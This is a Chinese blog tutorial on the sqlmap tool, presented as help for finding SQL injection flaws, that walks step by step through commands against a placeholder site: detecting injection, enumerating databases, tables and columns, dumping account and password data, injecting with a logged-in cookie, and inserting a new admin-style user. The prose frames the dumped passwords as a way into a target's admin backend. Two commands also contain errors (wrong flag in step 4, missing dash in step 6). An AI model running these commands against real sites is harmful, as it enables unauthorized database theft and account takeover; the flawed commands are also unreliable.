sqlmap注入语句学习,帮助你排查SQL注入漏洞

摘要

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap用于自动化检测和利用SQL注入漏洞。它支持各种数据库系统,如MySQL、PostgreSQL、Oracle、Microsoft SQL Server等。sqlmap的功能不仅包括发现和利用SQL注入漏洞,还可以帮助获取数据库中的数据、访问操作系统文件、执行操作系统命令等。

使用sqlmap可以对一些网站进行安全漏洞的测试、查找漏洞,及时修复安全漏洞,确保服务器安全,数据安全,预防入侵。

安装sqlmap

你可以进入sqlmap官网下载:https://sqlmap.org/

或者在github下载:https://github.com/sqlmapproject/sqlmap/zipball/master

解压后就是一个python程序目录,可以通过python命令执行各项安全测试。

使用sqlmap

进入sqlmap的目录,在其目录栏输入cmd即可进入命令行工具。


  1. 检测SQL注入点
    即检测这个URL是否存在SQL注入漏洞

    sqlmap -u 'http://xxx.com/?id=1'

  2. 获取数据库
    检测到有注入点,就开始获取其数据库名称

    sqlmap -u 'http://xxx.com/?id=1' --current-db

  3. 获取表
    获取当前数据库下的所有表(例如第2步获取到的数据库名为testdb)

    sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' --tables

  4. 获取字段
    获取这个表的字段(例如users表)

    sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' -T 'users' --tables

  5. 获取数据
    查看字段的数据,这里就可以看到账号密码之类的了,就可以随便登录后台,如果是使用了MD5加密的密码,还可通过解密方式获取到明文密码。

    sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' -T 'users' --dump

  6. 携带cookie进行注入
    如果有些需要登录后才可以获取到的敏感数据,就需要携带cookie进行注入。

    sqlmap u 'https://xxx.com/?id=1' --cookie='这里替换为登录后的cookie'

  7. 已知表名、用户名,查密码
    如果你全都获取到,就差一个登录密码就可以进入对方管理后台,则可以:

    sqlmap -u "https://xxx.com/?id=1" -D 数据库名称 -T 表名 -C "账号字段,密码字段" --dump --where="账号字段='账号'"

  8. 执行SQL语句
    如果你已经确定URL有SQL注入漏洞,获取到数据库名、表名、字段名等关键信息,你就可以执行一些SQL语句去列出其表信息,或者是插入数据,例如创建一个用户的语句。

    sqlmap -u 'https://xxx.com/?id=1' --sql-query="INSERT INTO users (username,password) VALUES ('test', '123456');"

总结

以上只是常见的sqlmap语句,你可以简单尝试一下初步学习,sqlmap的功能非常强大。

本文作者

TANKING

相关推荐
非优秀程序员28 分钟前
第02章 杭电的英语老师与一台服务器|《互联网产品恩仇录》
数据库·node.js·代码规范
Godspeed Zhao30 分钟前
从零开始学AI25——无监督学习之层次聚类
学习·机器学习·聚类
SelectDB5 小时前
SelectDB 是哪个公司的?是国产数据库吗?一篇讲清飞轮科技与 Apache Doris 的关系
数据库
这个DBA有点耶5 小时前
库内计算推理:一条SQL背后的算子融合,和外挂方案差了几次网络往返
数据库·人工智能·sql
David猪大卫7 小时前
【C++修炼】map 和 set 的使用
c语言·开发语言·数据结构·c++·经验分享·笔记·学习
HPtiger7 小时前
C++ 入门笔记:从 C 到 C++ 的核心过渡(命名空间、输入输出、缺省参数、重载、引用、内联)
c语言·c++·学习
这个DBA有点耶7 小时前
函数索引的“完全一致”有多苛刻:写法、字符集、类型,差一处就失效
数据库·mysql·代码规范
星恒随风8 小时前
MySQL 从零入门(三):表的约束详解
linux·服务器·数据库·笔记·mysql
Alluxio8 小时前
Alluxio + OCI:为 AI 工作负载实现亚毫秒访问延迟与可扩展吞吐
运维·数据库·人工智能·分布式·缓存·ai·语言模型
fengci.9 小时前
CTF2MISC中等部分
开发语言·前端·学习